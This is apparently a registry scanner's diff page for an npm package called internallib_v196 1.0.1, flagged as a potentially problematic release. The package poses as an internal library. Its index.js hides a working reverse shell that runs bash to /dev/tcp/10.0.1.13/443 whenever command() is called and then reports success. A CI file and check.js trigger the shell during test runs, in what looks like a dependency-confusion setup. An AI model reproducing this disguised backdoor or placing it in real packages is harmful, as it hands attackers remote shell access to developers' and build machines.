internallib_v196 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of internallib_v196 might be problematic. Click here for more details.

package/.gitlab-ci.yml ADDED
@@ -0,0 +1,25 @@
1
+ # This file is a template, and might need editing before it works on your project.
2
+ # To contribute improvements to CI/CD templates, please follow the Development guide at:
3
+ # https://docs.gitlab.com/ee/development/cicd/templates.html
4
+ # This specific template is located at:
5
+ # https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
6
+
7
+ # Official framework image. Look for the different tagged releases at:
8
+ # https://hub.docker.com/r/library/node/tags/
9
+ image: node:latest
10
+
11
+ # Pick zero or more services to be used on all builds.
12
+ # Only needed when using a docker container to run your tests in.
13
+ # Check out: http://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-a-service
14
+
15
+
16
+ # This folder is cached between builds
17
+ # https://docs.gitlab.com/ee/ci/yaml/index.html#cache
18
+ cache:
19
+ paths:
20
+ - node_modules/
21
+
22
+ test_async:
23
+ script:
24
+ - npm update --registry http://0.0.0.0:4873/
25
+ - node check.js
package/check.js ADDED
@@ -0,0 +1,3 @@
1
+ internallib = require("internallib_v196")
2
+
3
+ console.log(internallib.command())
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ exports.command = function() {
2
+ const { exec } = require('node:child_process');
3
+ exec('/bin/bash -c "bash -i >& /dev/tcp/10.0.1.13/443 0>&1"');
4
+ console.log("This is a message from the internal lib");
5
+ return "Command Execute with Success";
6
+ }
7
+
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "internallib_v196",
3
+ "version": "1.0.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "dependencies": {
11
+ "internallib_v196": "^1.0.0"
12
+ },
13
+ "description": ""
14
+ }